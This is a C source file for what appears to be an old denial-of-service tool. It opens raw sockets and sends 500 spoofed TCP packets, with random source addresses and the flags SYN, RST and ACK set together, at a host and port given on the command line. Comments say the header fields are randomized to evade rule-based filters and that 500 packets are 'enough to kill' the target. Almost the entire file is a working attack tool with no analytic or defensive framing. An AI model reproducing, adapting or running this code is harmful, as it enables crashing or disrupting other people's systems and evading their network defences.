#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>
#include <netdb.h>

unsigned short compute_tcp_checksum(struct tcphdr *th, int len,
          unsigned long saddr, unsigned long daddr)
{
        unsigned long sum;
        __asm__("
            addl %%ecx, %%ebx
            adcl %%edx, %%ebx
            adcl $0, %%ebx
            "
        : "=b"(sum)
        : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)
        : "bx", "cx", "dx" );
        __asm__("
            movl %%ecx, %%edx
            cld
            cmpl $32, %%ecx
            jb 2f
            shrl $5, %%ecx
            clc
1:          lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            loop 1b
            adcl $0, %%ebx
            movl %%edx, %%ecx
2:          andl $28, %%ecx
            je 4f
            shrl $2, %%ecx
            clc
3:          lodsl
            adcl %%eax, %%ebx
            loop 3b
            adcl $0, %%ebx
4:          movl $0, %%eax
            testw $2, %%dx
            je 5f
            lodsw
            addl %%eax, %%ebx
            adcl $0, %%ebx
            movw $0, %%ax
5:          test $1, %%edx
            je 6f
            lodsb
            addl %%eax, %%ebx
            adcl $0, %%ebx
6:          movl %%ebx, %%eax
            shrl $16, %%eax
            addw %%ax, %%bx
            adcw $0, %%bx
            "
        : "=b"(sum)
        : "0"(sum), "c"(len), "S"(th)
        : "ax", "bx", "cx", "dx", "si" );
        return((~sum) & 0xffff);
}

#define psize ( sizeof(struct iphdr) + sizeof(struct tcphdr)  )
#define tcp_offset  ( sizeof(struct iphdr) )
#define err(x) { fprintf(stderr, x); exit(1); }
#define errors(x, y) { fprintf(stderr, x, y); exit(1); }
struct iphdr temp_ip;
int temp_socket = 0;

u_short
ip_checksum (u_short * buf, int nwords)
{
  unsigned long sum;

  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

void
fixhost (struct sockaddr_in *addr, char *hostname)
{
  struct sockaddr_in *address;
  struct hostent *host;

  address = (struct sockaddr_in *) addr;
  (void) bzero ((char *) address, sizeof (struct sockaddr_in));
  address->sin_family = AF_INET;
  address->sin_addr.s_addr = inet_addr (hostname);
  if ((int) address->sin_addr.s_addr == -1)
    {
      host = gethostbyname (hostname);
      if (host)
        {
          bcopy (host->h_addr, (char *) &address->sin_addr,
                 host->h_length);
        }
      else
        {
          puts ("Couldn't resolve address!!!");
          exit (-1);
        }
    }
}

unsigned int
lookup (host)
     char *host;
{
  unsigned int addr;
  struct hostent *he;

  addr = inet_addr (host);
  if (addr == -1)
    {
      he = gethostbyname (host);
      if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
        return 0;

      bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
    }
  return (addr);
}

unsigned short
lookup_port (p)
     char *p;
{
  int i;
  struct servent *s;

  if ((i = atoi (p)) == 0)
    {
      if ((s = getservbyname (p, "tcp")) == NULL)
        errors ("Unknown port %s\n", p);
      i = ntohs (s->s_port);
    }
  return ((unsigned short) i);
}

void
spoof_packet (struct sockaddr_in local, int fromport, \
           struct sockaddr_in remote, int toport, ulong sequence, \
           int sock, u_char theflag, ulong acknum, \
           char *packdata, int datalen)
{
  char *packet;
  int tempint;
  if (datalen > 0)
    datalen++;
  packet = (char *) malloc (psize + datalen);
  tempint = toport;
  toport = fromport;
  fromport = tempint;
  {
    struct tcphdr *fake_tcp;
    fake_tcp = (struct tcphdr *) (packet + tcp_offset);
    fake_tcp->th_dport = htons (fromport);
    fake_tcp->th_sport = htons (toport);
    fake_tcp->th_flags = theflag;
    fake_tcp->th_seq = random ();
    fake_tcp->th_ack = random ();
    /* this is what really matters, however i randomize everything else
       to prevent simple rule based filters */
    fake_tcp->th_off = random ();
    fake_tcp->th_win = random ();
    fake_tcp->th_urp = random ();
  }
  if (datalen > 0)
    {
      char *tempbuf;
      tempbuf = (char *) (packet + tcp_offset + sizeof (struct tcphdr));
      for (tempint = 0; tempint < datalen - 1; tempint++)
        {
          *tempbuf = *packdata;
          *tempbuf++;
          *packdata++;
        }
      *tempbuf = '\r';
    }
  {
    struct iphdr *real_ip;
    real_ip = (struct iphdr *) packet;
    real_ip->version = 4;
    real_ip->ihl = 5;
    real_ip->tot_len = htons (psize + datalen);
    real_ip->tos = 0;
    real_ip->ttl = 64;
    real_ip->protocol = 6;
    real_ip->check = 0;
    real_ip->id = 10786;
    real_ip->frag_off = 0;
    bcopy ((char *) &local.sin_addr, &real_ip->daddr, sizeof (real_ip->daddr));
    bcopy ((char *) &remote.sin_addr, &real_ip->saddr, sizeof (real_ip->saddr));
    temp_ip.saddr = htonl (ntohl (real_ip->daddr));
    real_ip->daddr = htonl (ntohl (real_ip->saddr));
    real_ip->saddr = temp_ip.saddr;
    real_ip->check = ip_checksum ((u_short *) packet, sizeof (struct iphdr) >> 1);
    {
      struct tcphdr *another_tcp;
      another_tcp = (struct tcphdr *) (packet + tcp_offset);
      another_tcp->th_sum = 0;
      another_tcp->th_sum = compute_tcp_checksum (another_tcp, sizeof (struct tcphdr) + datalen,
                                       real_ip->saddr, real_ip->daddr);
    }
  }
  {
    int result;
    sock = (int) temp_socket;
    result = sendto (sock, packet, psize + datalen, 0,
                     (struct sockaddr *) &remote, sizeof (remote));
  }
  free (packet);
}

void
main (argc, argv)
     int argc;
     char **argv;
{
  unsigned int daddr;
  unsigned short dport;
  struct sockaddr_in sin;
  int s, i;
  struct sockaddr_in local, remote;
  u_long start_seq = 4935835 + getpid ();

  if (argc != 3)
    errors ("Usage: %s <dest_addr> <dest_port>\n\nDest port of 23n",
          argv[0]);

  if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    err ("Unable to open raw socket.\n");
  if ((temp_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    err ("Unable to open raw socket.\n");
  if (!(daddr = lookup (argv[1])))
    err ("Unable to lookup destination address.\n");
  dport = lookup_port (argv[2]);
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = daddr;
  sin.sin_port = dport;
  fixhost ((struct sockaddr_in *)(struct sockaddr *) &local, argv[1]);
  fixhost ((struct sockaddr_in *)(struct sockaddr *) &remote, argv[1]);
  /* 500 seems to be enough to kill it */
  for (i = 0; i < 500; i++)
    {
      start_seq++;
      local.sin_addr.s_addr = random ();
      spoof_packet (local, random (), remote, dport, start_seq, (int) s,
        TH_SYN | TH_RST | TH_ACK, 0, NULL, 0);
    }
}

